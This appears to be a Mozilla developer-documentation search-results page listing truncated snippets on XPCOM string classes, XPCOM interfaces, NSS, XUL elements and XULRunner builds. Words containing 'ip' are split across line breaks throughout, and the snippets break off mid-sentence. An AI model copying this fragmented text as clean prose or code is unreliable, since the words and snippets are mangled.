...cii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid str
ipchar base classes nsacstring_internal data members no public members.
...cstring&, pruint32) const - source parameters nscstring& aresult pruint32 acount setcharat prbool setcharat(prunichar, pruint32) - source set a char inside this string at given index @param achar is the char you want to write into this string @param anindex is the ofs where you want to write the given char @return true if successful parameters prunichar achar pruint32 aindex str
ipchars void str
ipchars(const char*) - source these methods are used to remove all occurrences of the characters found in aset from this string.
...And 6 more matches
nsDependentCString
method overview constructors assertvalid rebind operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat str
ipchars str
ipwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii ...
...cii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid str
ipchar base classes nscstring data members no public members.
...cstring&, pruint32) const - source parameters nscstring& aresult pruint32 acount setcharat prbool setcharat(prunichar, pruint32) - source set a char inside this string at given index @param achar is the char you want to write into this string @param anindex is the ofs where you want to write the given char @return true if successful parameters prunichar achar pruint32 aindex str
ipchars void str
ipchars(const char*) - source these methods are used to remove all occurrences of the characters found in aset from this string.
...And 6 more matches
nsDependentString
method overview constructors assertvalid rebind operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat str
ipchars str
ipwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii ...
...cii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid str
ipchar base classes nsstring data members no public members.
...nsstring&, pruint32) const - source parameters nsstring& aresult pruint32 acount setcharat prbool setcharat(prunichar, pruint32) - source set a char inside this string at given index @param achar is the char you want to write into this string @param anindex is the ofs where you want to write the given char @return true if successful parameters prunichar achar pruint32 aindex str
ipchars void str
ipchars(const char*) - source these methods are used to remove all occurrences of the characters found in aset from this string.
...And 6 more matches
nsFixedCString
class declaration method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat str
ipchars str
ipwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(...
...char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid str
ipchar base classes nscstring data members no public members.
...cstring&, pruint32) const - source parameters nscstring& aresult pruint32 acount setcharat prbool setcharat(prunichar, pruint32) - source set a char inside this string at given index @param achar is the char you want to write into this string @param anindex is the ofs where you want to write the given char @return true if successful parameters prunichar achar pruint32 aindex str
ipchars void str
ipchars(const char*) - source these methods are used to remove all occurrences of the characters found in aset from this string.
...And 6 more matches
nsFixedString
class declaration method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat str
ipchars str
ipwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char ass...
...ign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid str
ipchar base classes nsstring data members no public members.
...nsstring&, pruint32) const - source parameters nsstring& aresult pruint32 acount setcharat prbool setcharat(prunichar, pruint32) - source set a char inside this string at given index @param achar is the char you want to write into this string @param anindex is the ofs where you want to write the given char @return true if successful parameters prunichar achar pruint32 aindex str
ipchars void str
ipchars(const char*) - source these methods are used to remove all occurrences of the characters found in aset from this string.
...And 6 more matches
nsPromiseFlatCString
class declaration method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat str
ipchars str
ipwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(...
...char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid str
ipchar base classes nscstring data members no public members.
...cstring&, pruint32) const - source parameters nscstring& aresult pruint32 acount setcharat prbool setcharat(prunichar, pruint32) - source set a char inside this string at given index @param achar is the char you want to write into this string @param anindex is the ofs where you want to write the given char @return true if successful parameters prunichar achar pruint32 aindex str
ipchars void str
ipchars(const char*) - source these methods are used to remove all occurrences of the characters found in aset from this string.
...And 6 more matches
nsPromiseFlatString
class declaration method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat str
ipchars str
ipwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char ass...
...ign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid str
ipchar base classes nsstring data members no public members.
...nsstring&, pruint32) const - source parameters nsstring& aresult pruint32 acount setcharat prbool setcharat(prunichar, pruint32) - source set a char inside this string at given index @param achar is the char you want to write into this string @param anindex is the ofs where you want to write the given char @return true if successful parameters prunichar achar pruint32 aindex str
ipchars void str
ipchars(const char*) - source these methods are used to remove all occurrences of the characters found in aset from this string.
...And 6 more matches
nsString
method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat str
ipchars str
ipwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii ...
...cii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid str
ipchar base classes nsastring_internal data members no public members.
...nsstring&, pruint32) const - source parameters nsstring& aresult pruint32 acount setcharat prbool setcharat(prunichar, pruint32) - source set a char inside this string at given index @param achar is the char you want to write into this string @param anindex is the ofs where you want to write the given char @return true if successful parameters prunichar achar pruint32 aindex str
ipchars void str
ipchars(const char*) - source these methods are used to remove all occurrences of the characters found in aset from this string.
...And 6 more matches
nsXPIDLCString
names: nsxpidlstring for wide characters nsxpidlcstring for narrow characters method overview constructors operator const char* operator[] operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat str
ipchars str
ipwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat first last countchar findchar equals equalsascii equalsliteral...
...cii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid str
ipchar base classes nscstring data members no public members.
...cstring&, pruint32) const - source parameters nscstring& aresult pruint32 acount setcharat prbool setcharat(prunichar, pruint32) - source set a char inside this string at given index @param achar is the char you want to write into this string @param anindex is the ofs where you want to write the given char @return true if successful parameters prunichar achar pruint32 aindex str
ipchars void str
ipchars(const char*) - source these methods are used to remove all occurrences of the characters found in aset from this string.
...And 6 more matches
nsXPIDLString
names: nsxpidlstring for wide characters nsxpidlcstring for narrow characters method overview constructors operator const prunichar* operator[] operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat str
ipchars str
ipwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat first last countchar findchar equals equalsascii equalsliteral...
...cii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid str
ipchar base classes nsstring data members no public members.
...nsstring&, pruint32) const - source parameters nsstring& aresult pruint32 acount setcharat prbool setcharat(prunichar, pruint32) - source set a char inside this string at given index @param achar is the char you want to write into this string @param anindex is the ofs where you want to write the given char @return true if successful parameters prunichar achar pruint32 aindex str
ipchars void str
ipchars(const char*) - source these methods are used to remove all occurrences of the characters found in aset from this string.
...And 6 more matches
imgIDecoderObserver
image/public/imgidecoderobserver.idlscr
iptable this interface is used both for observing imgidecoder objects and for observing imgirequest objects.
...however, with decode-on-draw, the set of decode notifications can come completely after the load notifications, and can come mult
iple times if the image is discardable.
... acurrentframe missing descr
iption arect missing descr
iption ondiscard() called when the decoded image data is discarded.
...And 6 more matches
nsIAlertsService
toolkit/components/alerts/nsialertsservice.idlscr
iptable this interface can be used to notify the user of something that does not require an immediate reaction.
... .getservice(components.interfaces.nsialertsservice); method overview void showalertnotification(in astring imageurl, in astring title, in astring text, [optional] in boolean textclickable, [optional] in astring cookie, [optional] in nsiobserver alertlistener, [optional] in astring name, [optional] in astring dir, [optional] in astring lang, [optional] in astring data, [optional] in ns
iprinc
ipal princ
ipal,[optional] in boolean inprivatebrowsing); void closealert([optional] in astring name, [optional] in ns
iprinc
ipal princ
ipal); methods showalertnotification() displays a notification window.
... note: if you are calling this function from javascr
ipt, you should wrap it in a try/catch because it can fail on mac os x prior to firefox 22.
...And 6 more matches
nsIBrowserSearchService
netwerk/base/public/nsibrowsersearchservice.idlscr
iptable please add a summary to this article.
... method overview void addengine(in astring engineurl, in long datatype, in astring iconurl, in boolean confirm, [optional] in nsisearchinstallcallback callback); void addenginewithdetails(in astring name, in astring iconurl, in astring alias, in astring descr
iption, in astring method, in astring url); void getdefaultengines([optional] out unsigned long enginecount, [retval, array, size_is(enginecount)] out nsisearchengine engines); nsisearchengine getenginebyalias(in astring alias); nsisearchengine getenginebyname(in astring aenginename); void getengines([optional] out unsigned long enginec...
...retval, array, size_is(enginecount)] out nsisearchengine engines); void init([optional] in nsibrowsersearchinitobserver observer); void moveengine(in nsisearchengine engine, in long newindex); void removeengine(in nsisearchengine engine); void restoredefaultengines(); attributes attribute type descr
iption currentengine nsisearchengine the currently active search engine.
...And 6 more matches
nsIConsoleService
xpcom/base/nsiconsoleservice.idlscr
iptable the console service is the back-end for the error console, bundled with every mozilla application, and for firefox's web console and browser console.
...if no messages are logged, this function will return a count of 0, but allocating a placeholder word for messages, showing as a 0-length array when called from the scr
ipt.
...if no messages are logged, this function will return a count of 0, but allocating a placeholder word for messages, showing as a 0-length array when called from the scr
ipt.
...And 6 more matches
omni.ja (formerly omni.jar)
several unz
ip tools and archives (except for the latest version of 7-z
ip) currently cannot read omni.ja, due to the optimization that is applied to the file.
... it is suggested that windows 7 users unz
ip the file by renaming it to omni.z
ip and using windows explorer to extract all files.
... users of older versions of windows can use infoz
ip's unz
ip tool to extract files - make a copy of omni.ja, and drag-and-drop it onto unz
ip.exe.
...And 5 more matches
Accessibility Features in Firefox
this allows copying arbitrary pieces of text to the cl
ipboard.
...you can even select web content and copy it to the cl
ipboard.
... -- all with the keyboard detailed advanced javascr
ipt control: mozilla gives you the ability to fine tune what javascr
ipt is allowed to do while you browse.
...And 5 more matches
Theme concepts
themes developed using the webextensions api in firefox enable you to change the look of the browser by adding images to the header area of the firefox browser; this is the area behind the menu bar, toolbars, address bar, search bar, and tab str
ip.
...these resources are then packed in a z
ip for publication on addons.mozilla.org (amo) or for self-distribution.
... static theme approaches there are two approaches you can take to theming the header area of firefox: using a single image or using mult
iple images.
...And 5 more matches
The Firefox codebase: CSS Guidelines
basics here are some basic t
ips that can optimize reviews if you are changing css: avoid !important but if you have to use it, make sure it's obvious why you're using it (ideally with a comment).
... avoid setting styles in javascr
ipt.
...if not, using a semantic class name is more descr
iptive and usually better.
...And 5 more matches
Embedding the editor
xbl creates an nseditorboxobject for each <editor> tag, and allows javascr
ipt to access properties of this box object (such as the nsieditorshell).
...the problem with this ownersh
ip model is that there can be only one editor per <editor> tag, yet the document loaded in the <iframe> may itself contain mult
iple <iframe>s (consider a frameset document, or a document itself containing an <html:iframe>).
...thence, lots of javascr
ipt in editor.js, composercommands.js and the various dialog js files assume that they can get at the one true editor via window.editorshell.
...And 5 more matches
DeferredTask.jsm
the deferredtask.jsm javascr
ipt code module offers utility routines for a task that will run after a delay.
... mult
iple attempts to run the same task before the delay will be coalesced.
... to use it, you first need to import the code module into your javascr
ipt scope: components.utils.import("resource://gre/modules/deferredtask.jsm"); use this, for instance, if you write data to a file and you expect that you may have to rewrite data very soon afterwards.
...And 5 more matches
OS.File for the main thread
using os.file from a jsm to import os.file into your chrome code, add the following line at the start of your scr
ipt: components.utils.import("resource://gre/modules/osfile.jsm") promises before using os.file from the main thread, you need some understanding of the promise library.
... example: read the contents of a file as text the following sn
ippet opens a file "file.txt" and read its contents as a string, using the default encoding (utf-8).
... example: write a string to a file the following sn
ippet writes the text "this is some text" to a string "file.txt", using the default encoding (utf-8).
...And 5 more matches
PopupNotifications.jsm
the popupnotifications.jsm javascr
ipt code module provides a popup notification box service.
... to use this, you first need to import the code module into your javascr
ipt scope: components.utils.import("resource://gre/modules/popupnotifications.jsm"); once you've imported the module, you can then use the popupnotifications object it exports; this object provides methods for creating and displaying popup notification panels.
... method overview void locationchange(); notification getnotification(id, browser); void remove(notification); notification show(browser, id, message, anchorid, mainaction, secondaryactions, options); properties attribute type descr
iption ispanelopen boolean returns true if the notification panel is currently visible, false if it is not.
...And 5 more matches
Localization and Plurals
plural form: for a particular plural rule, there can be mult
iple forms of a word, such as "page" and "pages".
...additionally, there is a brief descr
iption of each plural form, followed by some sample numbers that fall into that particular form.
...splay 0.2: use pluralform.numforms() to get the number of forms instead of figuring out locally to better support future rules - requires build from 2007/01/27 or later 0.3: generate a list of what numbers fall into which plural form to minimize the sample output to at most 3 of each form developing with pluralform the functionality for getting the correct plural forms is provided by a javascr
ipt module, pluralform.jsm.
...And 5 more matches
Scroll-linked effects
as the scroll event listener runs in the javascr
ipt on the browser's main thread, it will be asynchronous relative to the user-visible scrolling.
... <body style="height: 5000px"> <scr
ipt> function snap(destination) { if (math.abs(destination - window.scrolly) < 3) { scrollto(window.scrollx, destination); } else if (math.abs(destination - window.scrolly) < 200) { scrollto(window.scrollx, window.scrolly + ((destination - window.scrolly) / 2)); settimeout(snap, 20, destination); } } var timeoutid = null; ad...
...deventlistener("scroll", function() { if (timeoutid) cleartimeout(timeoutid); timeoutid = settimeout(snap, 200, parseint(document.getelementbyid('snaptarget').style.top)); }, true); </scr
ipt> <div id="snaptarget" class="snaptarget" style="position: relative; top: 200px; width: 100%; height: 200px; background-color: green"></div> </body> in this example, there is a scroll event listener which detects if the scroll position is within 200 pixels of the top of the "snaptarget" div.
...And 5 more matches
NSS 3.12.4 release notes
major changes in nss 3.12.4 nss 3.12.4 is the version that we submitted to nist for f
ips 140-2 validation.
... currently nss 3.12.4 is in the "review pending" state in the f
ips 140-2 pre-validation list at http://csrc.nist.gov/groups/stm/cmvp/documents/140-1/140inprocess.pdf added crl distribution point support (see cert.h).
... bug 321755: implement crldistributionpoint extension in libpkix bug 391434: avoid mult
iple encoding/decoding of pkix_pl_oid to and from ascii string bug 405297: problems building nss/lib/ckfw/capi/ with mingw gcc bug 420991: libpkix returns wrong nss error code bug 427135: add super-h (sh3,4) architecture support bug 431958: improve des and sha512 for x86_64 platform bug 433791: win16 support should be deleted from nss bug 449332: secu_parsecommandline does not validate its inputs bu...
...And 5 more matches
sample2
sage(const char *progname) { fprintf(stderr, "\nusage: %s %s %s %s %s %s %s %s %s %s\n\n", progname, " -<g|a|h|e|ds|v> -d <dbdirpath> ", "[-p <dbpwd> | -f <dbpwdfile>] [-z <noisefilename>] [-a <\"\">]", "-s <subject> -r <csr> | ", "-n <nickname> -t <trust> -c <cert> [ -r <csr> -u <issuernickname> [-x <\"\">] -m <serialnumber> ] | ", "-n <nickname> -b <headerfilename> | ", "-b <headerfilename> -i <
ipfilename> -e <encryptfilename> | ", "-b <headerfilename> -i <
ipfilename> | ", "-b <headerfilename> -i <
ipfilename> | ", "-b <headerfilename> -e <encryptfilename> -o <opfilename> \n"); fprintf(stderr, "commands:\n\n"); fprintf(stderr, "%s %s\n --for generating cert request (for ca also)\n\n", progname, "-g -s <subject> -r <csr>"); fprintf(stderr, "%s %s\n --to input and store cert (for ca also)\n\n...
...", progname, "-a -n <nickname> -t <trust> -c <cert> [ -r <csr> -u <issuernickname> [-x <\"\">] -m <serialnumber> ]"); fprintf(stderr, "%s %s\n --to put cert in header\n\n", progname, "-h -n <nickname> -b <headerfilename> [-v <\"\">]"); fprintf(stderr, "%s %s\n --to find public key from cert in header and encrypt\n\n", progname, "-e -b <headerfilename> -i <
ipfilename> -e <encryptfilename> "); fprintf(stderr, "%s %s\n --decrypt using corresponding private key \n\n", progname, "-d -b <headerfilename> -e <encryptfilename> -o <opfilename>"); fprintf(stderr, "%s %s\n --sign using private key \n\n", progname, "-s -b <headerfilename> -i <infilename> "); fprintf(stderr, "%s %s\n --verify using public key \n\n", progname, "-v -b <headerfilename> -i <
ipfilename> "); fprintf(stderr, "options:\n\n"); fpr...
...intf(stderr, "%-30s - db directory path\n\n", "-d <dbdirpath>"); fprintf(stderr, "%-30s - db password [optional]\n\n", "-p <dbpwd>"); fprintf(stderr, "%-30s - db password file [optional]\n\n", "-f <dbpwdfile>"); fprintf(stderr, "%-30s - noise file name [optional]\n\n", "-z <noisefilename>"); fprintf(stderr, "%-30s - input file name\n\n", "-i <
ipfilename>"); fprintf(stderr, "%-30s - header file name\n\n", "-b <headerfilename>"); fprintf(stderr, "%-30s - encrypt file name\n\n", "-e <encryptfilename>"); fprintf(stderr, "%-30s - output file name\n\n", "-o <opfilename>"); fprintf(stderr, "%-30s - certificate serial number\n\n", "-m <serialnumber>"); fprintf(stderr, "%-30s - certificate nickname\n\n", "-n <nickname>"); fprintf(stderr, "%-30s - certificate trust\n\n", "-t <trustargs>"); fprintf(std...
...And 5 more matches
NSS environment variables
variable type descr
iption introduced in version nsrandcount integer (byte count) sets the maximum number of bytes to read from the file named in the environment variable nsrandfile (see below).
... 3.11.8 nss_enable_audit boolean (1 to enable) enable auditing of activities of the nss cryptographic module in f
ips mode.
... 3.12 nss_f
ips string ("f
ips","true","on","1") will start nss in f
ips mode.
...And 5 more matches
gtstd.html
ssl, pkcs #11, and the default security databases setting up the certificate and key databases building nss programs ssl, pkcs #11, and the default security databases the basic relationsh
ips among the nss libraries are described in introduction to network security services.
... before running the sample programs, it's important to understand the relationsh
ips between the ssl interface, the pkcs #11 interface, pkcs #11 modules, and the default netscape security databases.
... figure 2.1 illustrates the relationsh
ips between nspr, ssl, pkcs #11, and the available cryptographic modules.
...And 5 more matches
Necko walkthrough
receive response get a callback to each of these: nsistreamlistener::onstartrequest (header info) nsistreamlistener::ondataavailable (data in single or mult
iple chunks) nsistreamlistener::onstoprequest (no more data from http) this all happens on the main thread, in a non-blocking fashion: make your request on the main thread, then carry on and get the async response later, also on the main thread.
...nect might to a speculativeconnect (pre open tcp socket) nshttpchannel::continueconnect some cache stuff nshttpchannel::setuptransaction creates new nshttptransaction, and inits it with mrequesthead (the request headers) and muploadstream (which was created from the request data in channel setup) gets an nsiasyncinputstream (for the response; corresponds to the nsp
ipeinputstream for the response stream p
ipe) passes it to nsinputstreampump nshttpchannel::ghttphandler->initiatetransaction (called from connect) this is the global nshttphandler object, which adds the transaction to the nshttpconnectionmgr (one of these per nshttphandler).
... dispatches the nsconnevent to the socket thread back to the context of nshttpchannel::continueconnect: nsinputstreampump->asyncread this pump calls nsiasyncinputstream::asyncwait (the input for the response stream p
ipe created with the nshttptransaction, i.e.
...And 5 more matches
XML - Archive of obsolete content
this article describes the relationsh
ip of xul to xml, its parent language.
...there are many times, for example, when you may use javascr
ipt tricks to add extra behavior.
...all of the events and attributes -- even the javascr
ipt event listeners normally formatted in the javascr
ipt world with uppercase verbs (e.g., onclick, onload) -- must be lowercase or they are invalid.
...And 4 more matches
XUL controls - Archive of obsolete content
<datepicker type="popup" value="2008/08/24"/> datepicker reference <descr
iption> the descr
iption element is used for descr
iptive text.
... <descr
iption> select a time for the event to start </descr
iption> more information about the descr
iption element.
... descr
iption reference <groupbox> a groupbox displays a labelled box around other user interface controls.
...And 4 more matches
browser - Archive of obsolete content
it is similar to an iframe except that it holds a page history and contains additional methods to man
ipulate the currently displayed page.
... attributes autocompleteenabled, autocompletepopup, autoscroll, disablehistory, disableglobalhistory, disablesecurity, droppedlinkhandler, homepage, showcaret, src, type properties accessibletype, cangoback, cangoforward, contentdocument, contentprinc
ipal, contenttitle, contentvieweredit, contentviewerfile, contentwindow, currenturi, docshell, documentcharsetinfo, homepage, markupdocumentviewer, messagemanager, preferences, securityui, sessionhistory, webbrowserfind, webnavigation, webprogress methods addprogresslistener, goback, goforward, gohome, gotoindex, loaduri, loaduriwithflags, reload, reloadwithflags, removeprogresslistener, stop, ...
...this boundary has a number of special effects, such as making window.top == window (unless the browser is added to a chrome document), and preventing documents from inheriting the princ
ipal of the parent document.
...And 4 more matches
notificationbox - Archive of obsolete content
also it is possible to call function with the same name (they are different) of global object gbrowser: notifybox = gbrowser.getnotificationbox() examples <notificationbox flex="1"> <browser src="http://www.mozilla.org"/> </notificationbox> there is a more complex code available in the code sn
ippets area.
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties currentnotification type: notification element the currently displayed notification element or null.
... buttons - array of button descr
iptions to appear on the notification.
...And 4 more matches
preferences - Archive of obsolete content
</preferences> attributes these ought to be readonly; three of these could be merged into a single member attribute ns
iprefservice service; the preferences service.
... attribute ns
iprefbranch rootbranch; the root prefs branch.
... attribute ns
iprefbranch defaultbranch; the root branch of the tree with default values.
...And 4 more matches
prefwindow - Archive of obsolete content
onbeforeaccept type: scr
ipt code the code in this attribute is called when the ok button is pressed or the acceptdialog method is called.
... ondialogaccept type: scr
ipt code the code in this attribute is called when the accept button is pressed, or when the acceptdialog method is called.
... ondialogcancel type: scr
ipt code the code in this attribute is called when the "cancel" button is pressed or when the canceldialog method is called.
...And 4 more matches
toolbar - Archive of obsolete content
it can be collapsed with a gr
ippy when the toolbar is placed inside a toolbox.
... attributes autohide, currentset, customindex, customizable, defaultset, gr
ippyhidden, gr
ippytoolt
iptext, height, iconsize, mode, toolbarname properties accessibletype, currentset, firstpermanentchild, lastpermanentchild, toolbarname, toolboxid methods insertitem style classes chromeclass-toolbar examples <toolbox> <toolbar id="nav-toolbar"> <toolbarbutton id="nav-users" accesskey="u" label="users"/> <toolbarbutton id="nav-groups" accesskey="...
... gr
ippyhidden seamonkey only type: boolean when set to true, the gr
ippy will be hidden.
...And 4 more matches
window - Archive of obsolete content
--> <window id="rootwnd" title="register online!" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <vbox> <hbox> <image src="application_form.png"/> <descr
iption>register online!</descr
iption> </hbox> <groupbox align="start"> <caption label="your information"/> <radiogroup> <vbox> <hbox> <label control="your-fname" value="enter first name:"/> <textbox id="your-fname" value="johan"/> </hbox> <hbox> <label control="your-lname" value="enter last name:"/> ...
... <textbox id="your-lname" value="hernandez"/> </hbox> <hbox> <button oncommand="alert('save!')"> <descr
iption>save</descr
iption> </button> </hbox> </vbox> </radiogroup> </groupbox> </vbox> </window> attributes accelerated type: booleanset this attribute to true to allow hardware layer managers to accelerate the window.
...this is used to hide chrome when showing in-browser ui such as the about:addons page, and causes the toolbars to be hidden, with only the tab str
ip (and, if currently displayed, the add-on bar) left showing.
...And 4 more matches
Building XULRunner with Python - Archive of obsolete content
or, if you are interested in working with xulrunner with python on linux, see mark lise's post with the python extensions enabled xulrunner provides python scr
ipt access to the dom and xpcom in addition to the usual java scr
ipt.
... mk_add_options moz_objdir=@topsrcdir@/../obj-xulrunner mk_add_options moz_co_project=xulrunner ac_add_options --enable-application=xulrunner ac_add_options --enable-extensions=python,default ac_add_options --disable-javaxpcom ac_add_options --disable-activex ac_add_options --disable-activex-scr
ipting ac_add_options --disable-tests ac_add_options --enable-optimize to check out all the required source code and build it the first time with no local client.mk file, execute cd /c/projects cvs -d :pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot co mozilla/client.mk cd mozilla make -f client.mk for subsequent updates from cvs followed by a build, use cd /c/projects/mozilla make -f client...
... using python in xul applications add the following to yourprefs.js during development pref("browser.dom.window.dump.enabled", true); pref("javascr
ipt.options.showinconsole", true); pref("javascr
ipt.options.strict", true); pref("nglayout.debug.disable_xul_cache", true); pref("nglayout.debug.disable_xul_fastload", true); html <scr
ipt> tags specify that python is used withtype="application/x-python" attribute.
...And 4 more matches
XULRunner Hall of Fame - Archive of obsolete content
slimerjs slimerjs is a xulrunner application that can be launched with firefox, allowing to execute an external javascr
ipt scr
ipt which can man
ipulate web content.
...build instructions convertigo enterprise mashup server a web integrator and web cl
ipper tool to build enterprise mashups nightingale nightingale is a communtiy fork of the songbird media player, bringing back linux support and much more.
... build instructions kirix strata a new specialty browser for accessing and man
ipulating data from the web telekast an open source teleprompter and scr
ipt editor.
...And 4 more matches
XUL Explorer - Archive of obsolete content
it has a list of code sn
ippets (small fragments of xul or javascr
ipt) that can be quickly inserted into the editor.
... option to specify the sn
ippet used to load the editor on startup.
... option to include a user sn
ippet file.
...And 4 more matches
Extentsions FAQ - Archive of obsolete content
how to create a dynamic drop down menu that may have submenus using javascr
ipt for an extension?
... friday, october 06 - 13, 2006 (↑ top) any suggestions to remove tool t
ip appears on the menu it when it should not?
... the problem with most js frameworks is that they bootstrap by dynamically appending scr
ipt elements, which doesn't work in xul, last i checked.
...And 4 more matches
The First Install Problem - Archive of obsolete content
note that myapplication consists of one dll (which is an npapi plugin handling a given mimetype -- say application/x-myapp) and one xpt file, for scr
iptable interfaces.
...(note that the file name must still begin with "np", just as it must when the file is loaded from the .\plugins directory.) example: [hkey_local_machine\software\mozillaplugins\@mycompany.com/myapplication,version=5.01] path=c:\mycompany\myapplication\netscape\npmyapp.dll "xptpath" -- string value -- absolute path to xpt module required for scr
ipting plug-in, if applicable example: [hkey_local_machine\software\mozillaplugins\@mycompany.com/myapplication,version=5.01] xptpath=c:\mycompany\myapplication\netscape\npmyapp.xpt "geckoversion" -- this is the optional mention of the minimal gecko version that the browser is compatible with.
... the mimetypes subkeys contain the following string (reg_sz) value: "descr
iption" -- this is the actual descr
iption of the mimetype, very much as it appears in the dll (e.g.
...And 4 more matches
What is RSS - Archive of obsolete content
however, so that we can learn rss, we will be creating rss scr
ipts by hand.
...for example: <?xml version="1.0"?> <rss version="2.0"> <channel> <title>example news site</title> <descr
iption>this is an example news site.</descr
iption> <lastbuilddate>wed, 27 jul 2005 00:30:30 -0700</lastbuilddate> <link>http://news.example.com/</link> <item> <title>news flash: i like bread</title> <guid ispermalink="false">4d4a0a12-f188-4c97-908b-eea27213c2fe</guid> <pubdate>wed, 27 jul 2005 00:30:30 -0700</pubdate> <link>http...
...for example: <?xml version="1.0"?> <rss version="2.0"> <channel> <title>joe blow's blog</title> <descr
iption>this is the weblog of joe blow</descr
iption> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://joe-blow.example.net/</link> <item> <title>i be blogging...</title> <guid>http://joe-blow.example.net/log/21</guid> <pubdate>sun, 15 may 2005 13:02:08 -0500</pubdate> <link>http://joe-blow.example.net/l...
...And 4 more matches
Scratchpad - Archive of obsolete content
as an alternative, starting in firefox 71, you can use the multi-line mode of the javascr
ipt console input.
... scratchpad provides an environment for experimenting with javascr
ipt code.
... unlike the web console, which is designed for interpreting a single line of code at a time, scratchpad lets you edit larger chunks of javascr
ipt code, then execute it in various ways depending on how you want to use the output.
...And 4 more matches
TimerFirings logging
there are also timers for settimer or setinterval calls in javascr
ipt code, as the following sample shows.
...f46c365ba00]: [6775] fn timer (one_shot 0 ms): [content] chrome://browser/content/tabbrowser.xml:1816:0 711637568[7f3219c48000]: [6835] fn timer (one_shot 100 ms): [content] http://edition.cnn.com/:5:7231 711637568[7f3219c48000]: [6835] fn timer (one_shot 100 ms): [content] http://a.visualrevenue.com/vrs.js:6:9423 these js timers are annotated with [content] and show the javascr
